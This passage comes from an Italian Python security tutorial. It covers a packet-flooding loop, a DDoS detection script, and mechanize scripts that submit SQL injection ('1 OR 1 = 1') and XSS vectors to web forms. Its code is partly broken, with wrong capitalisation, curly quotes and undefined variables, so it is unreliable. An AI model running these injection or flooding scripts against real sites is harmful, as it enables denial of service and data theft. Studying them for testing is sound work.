      TCP1 = TCP(srcport = source_port, dstport = 80)
      pkt = IP1 / TCP1
      send(pkt,inter = .001)
      
      print ("packet sent ", i)
         i = i + 1

Attacco DDoS (Distributed Denial-of-Service)

Un attacco Distributed Denial of Service (DDoS) è un tentativo di rendere non disponibile un servizio online o un sito Web sovraccaricandolo con enormi flussi di traffico generati da più fonti.

A differenza di un attacco Denial of Service (DoS), in cui un computer e una connessione Internet vengono utilizzati per inondare una risorsa mirata con pacchetti, un attacco DDoS utilizza molti computer e molte connessioni Internet, spesso distribuite a livello globale in quella che viene definita botnet . Un attacco DDoS volumetrico su larga scala può generare un traffico misurato in decine di Gigabit (e anche centinaia di Gigabit) al secondo. Può essere letto in dettaglio suhttps://www.tutorialspoint.com/ethical_hacking/ethical_hacking_ddos_attacks.htm.

Rilevamento di DDoS utilizzando Python

In realtà l'attacco DDoS è un po 'difficile da rilevare perché non sai che l'host che sta inviando il traffico è falso o reale. Lo script Python fornito di seguito aiuterà a rilevare l'attacco DDoS.

Per cominciare, importiamo le librerie necessarie:

import socket
import struct

from datetime import datetime

Ora creeremo un socket come abbiamo creato anche nelle sezioni precedenti.

s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, 8)

Useremo un dizionario vuoto -

dict = {}

La seguente riga di codice aprirà un file di testo, con i dettagli dell'attacco DDoS in modalità di aggiunta.

file_txt = open("attack_DDoS.txt",'a')
t1 = str(datetime.now())

Con l'aiuto della seguente riga di codice, l'ora corrente verrà scritta ogni volta che il programma viene eseguito.

file_txt.writelines(t1)
file_txt.writelines("\n")

Ora, dobbiamo assumere i risultati di un particolare IP. Qui supponiamo che se un particolare IP viene colpito per più di 15 volte, sarebbe un attacco.

No_of_IPs = 15
R_No_of_IPs = No_of_IPs +10
   while True:
      pkt = s.recvfrom(2048)
      ipheader = pkt[0][14:34]
      ip_hdr = struct.unpack("!8sB3s4s4s",ipheader)
      IP = socket.inet_ntoa(ip_hdr[3])
      print "The Source of the IP is:", IP

La seguente riga di codice verificherà se l'IP esiste o meno nel dizionario. Se esiste, lo aumenterà di 1.

if dict.has_key(IP):
   dict[IP] = dict[IP]+1
   print dict[IP]

La riga di codice successiva viene utilizzata per rimuovere la ridondanza.

if(dict[IP] > No_of_IPs) and (dict[IP] < R_No_of_IPs) :
   line = "DDOS attack is Detected: "
   file_txt.writelines(line)
   file_txt.writelines(IP)
   file_txt.writelines("\n")
else:
   dict[IP] = 1

Dopo aver eseguito lo script precedente, otterremo il risultato in un file di testo. Secondo lo script, se un IP colpisce per più di 15 volte, verrà stampato quando viene rilevato un attacco DDoS insieme a quell'indirizzo IP.

L'SQL injection è un insieme di comandi SQL che vengono inseriti in una stringa URL o in strutture dati al fine di recuperare una risposta che vogliamo dai database che sono collegati alle applicazioni web. Questo tipo di attacchi avviene generalmente su pagine web sviluppate utilizzando PHP o ASP.NET.

Un attacco SQL injection può essere eseguito con le seguenti intenzioni:

  • Per modificare il contenuto dei database

  • Per modificare il contenuto dei database

  • Per eseguire query diverse non consentite dall'applicazione

Questo tipo di attacco funziona quando le applicazioni non convalidano correttamente gli input, prima di passarli a un'istruzione SQL. Le iniezioni vengono normalmente inserite nelle barre degli indirizzi, nei campi di ricerca o nei campi dati.

Il modo più semplice per rilevare se un'applicazione web è vulnerabile a un attacco di iniezione SQL è utilizzare il carattere "'" in una stringa e vedere se viene visualizzato un errore.

Tipi di attacco SQLi

In questa sezione, impareremo a conoscere i diversi tipi di attacco SQLi. L'attacco può essere classificato nei seguenti due tipi:

  • In-band SQL injection (Simple SQLi)

  • Iniezione SQL inferenziale (Blind SQLi)

In-band SQL injection (Simple SQLi)

È l'iniezione SQL più comune. Questo tipo di SQL injection si verifica principalmente quando un utente malintenzionato è in grado di utilizzare lo stesso canale di comunicazione sia per lanciare l'attacco che per raggruppare i risultati. Le iniezioni SQL in banda sono ulteriormente suddivise in due tipi:

  • Error-based SQL injection - Una tecnica di SQL injection basata sugli errori si basa su un messaggio di errore generato dal server del database per ottenere informazioni sulla struttura del database.

  • Union-based SQL injection - È un'altra tecnica di iniezione SQL in-band che sfrutta l'operatore SQL UNION per combinare i risultati di due o più istruzioni SELECT in un unico risultato, che viene quindi restituito come parte della risposta HTTP.

Iniezione SQL inferenziale (Blind SQLi)

In questo tipo di attacco SQL injection, l'attaccante non è in grado di vedere il risultato di un attacco in banda perché nessun dato viene trasferito tramite l'applicazione web. Questo è il motivo per cui è anche chiamato Blind SQLi. Le iniezioni SQL inferenziali sono inoltre di due tipi:

  • Boolean-based blind SQLi - Questo tipo di tecnica si basa sull'invio di una query SQL al database, che forza l'applicazione a restituire un risultato diverso a seconda che la query restituisca un risultato VERO o FALSO.

  • Time-based blind SQLi- Questo tipo di tecnica si basa sull'invio di una query SQL al database, che forza il database ad attendere per un determinato periodo di tempo (in secondi) prima di rispondere. Il tempo di risposta indicherà all'autore dell'attacco se il risultato della query è VERO o FALSO.

Esempio

Tutti i tipi di SQLi possono essere implementati manipolando i dati di input nell'applicazione. Negli esempi seguenti, stiamo scrivendo uno script Python per iniettare vettori di attacco nell'applicazione e analizzare l'output per verificare la possibilità dell'attacco. Qui useremo il modulo python denominatomechanize, che offre la possibilità di ottenere moduli Web in una pagina Web e facilita anche la presentazione dei valori di input. Abbiamo anche utilizzato questo modulo per la convalida lato client.

Il seguente script Python aiuta a inviare moduli e analizzare la risposta utilizzando mechanize -

Prima di tutto dobbiamo importare il file mechanize modulo.

import mechanize

Ora, fornisci il nome dell'URL per ottenere la risposta dopo aver inviato il modulo.

url = input("Enter the full url")

La seguente riga di codici aprirà l'URL.

request = mechanize.Browser()
request.open(url)

Ora, dobbiamo selezionare il modulo.

request.select_form(nr = 0)

Qui, imposteremo il nome della colonna "id".

request["id"] = "1 OR 1 = 1"

Ora dobbiamo inviare il modulo.

response = request.submit()
content = response.read()
print content

Lo script precedente stamperà la risposta per la richiesta POST. Abbiamo inviato un vettore di attacco per interrompere la query SQL e stampare tutti i dati nella tabella invece di una riga. Tutti i vettori di attacco verranno salvati in un file di testo, ad esempio vectors.txt. Ora, lo script Python fornito di seguito otterrà quei vettori di attacco dal file e li invierà al server uno per uno. Inoltre salverà l'output in un file.

Per cominciare, importiamo il modulo Mechanize.

import mechanize

Ora, fornisci il nome dell'URL per ottenere la risposta dopo aver inviato il modulo.

url = input("Enter the full url")
   attack_no = 1

Dobbiamo leggere i vettori di attacco dal file.

With open (‘vectors.txt’) as v:

Ora invieremo la richiesta con ogni vettore arrack

For line in v:
   browser.open(url)
   browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

Ora, la seguente riga di codice scriverà la risposta nel file di output.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

Controllando e analizzando le risposte, possiamo identificare i possibili attacchi. Ad esempio, se fornisce la risposta che include la fraseYou have an error in your SQL syntax allora significa che il modulo potrebbe essere influenzato dall'iniezione SQL.

Gli attacchi di cross-site scripting sono un tipo di iniezione che fa riferimento anche ad attacchi di code injection lato client. Qui, i codici dannosi vengono iniettati in un sito Web legittimo. Il concetto di Same Origin Policy (SOP) è molto utile per comprendere il concetto di Cross-site scripting. SOP è l'entità di sicurezza più importante in ogni browser web. Vieta ai siti web di recuperare contenuti da pagine con un'altra origine. Ad esempio, la pagina web www.tutorialspoint.com/index.html può accedere ai contenuti dawww.tutorialspoint.com/contact.htmlma www.virus.com/index.html non può accedere ai contenuti dawww.tutorialspoint.com/contact.html. In questo modo, possiamo dire che il cross-site scripting è un modo per aggirare la policy di sicurezza SOP.

Tipi di attacco XSS

In questa sezione, impariamo a conoscere i diversi tipi di attacco XSS. L'attacco può essere classificato nelle seguenti categorie principali:

  • XSS persistente o memorizzato
  • XSS non persistente o riflesso

XSS persistente o memorizzato

In questo tipo di attacco XSS, un utente malintenzionato inietta uno script, denominato payload, che viene memorizzato in modo permanente sull'applicazione Web di destinazione, ad esempio all'interno di un database. Questo è il motivo, si chiama attacco XSS persistente. In realtà è il tipo più dannoso di attacco XSS. Ad esempio, un codice dannoso viene inserito da un utente malintenzionato nel campo dei commenti su un blog o nel post del forum.

XSS non persistente o riflesso

È il tipo più comune di attacco XSS in cui il payload dell'aggressore deve essere la parte della richiesta, che viene inviata al server web e riflessa, in modo tale che la risposta HTTP includa il payload della richiesta HTTP. È un attacco non persistente perché l'attaccante deve consegnare il carico utile a ciascuna vittima. L'esempio più comune di questo tipo di attacchi XSS sono le e-mail di phishing con l'aiuto delle quali l'aggressore attira la vittima per fare una richiesta al server che contiene i payload XSS e finisce per eseguire lo script che viene riflesso ed eseguito all'interno del browser .

Esempio

Come SQLi, gli attacchi Web XSS possono essere implementati manipolando i dati di input nell'applicazione. Negli esempi seguenti, stiamo modificando i vettori di attacco SQLi, eseguiti nella sezione precedente, per testare l'attacco web XSS. Lo script Python fornito di seguito aiuta ad analizzare l'attacco XSS utilizzandomechanize -

Per cominciare, importiamo il file mechanize modulo.

import mechanize

Ora, fornisci il nome dell'URL per ottenere la risposta dopo aver inviato il modulo.

url = input("Enter the full url")
   attack_no = 1

Dobbiamo leggere i vettori di attacco dal file.

With open (‘vectors_XSS.txt’) as x:

Ora invieremo la richiesta con ogni vettore di arrack -

For line in x:
   browser.open(url)
browser.select_form(nr = 0)
   browser[“id”] = line
   res = browser.submit()
content = res.read()

La seguente riga di codice controllerà il vettore di attacco stampato.

if content.find(line) > 0:
print(“Possible XSS”)

La seguente riga di codice scriverà la risposta nel file di output.

output = open(‘response/’ + str(attack_no) + ’.txt’, ’w’)
output.write(content)
output.close()
print attack_no
attack_no += 1

XSS si verifica quando un input dell'utente stampa nella risposta senza alcuna convalida. Pertanto, per verificare la possibilità di un attacco XSS, possiamo controllare il testo della risposta per il vettore di attacco che abbiamo fornito. Se il vettore di attacco è presente nella risposta senza alcuna fuga o convalida, c'è un'alta possibilità di attacco XSS.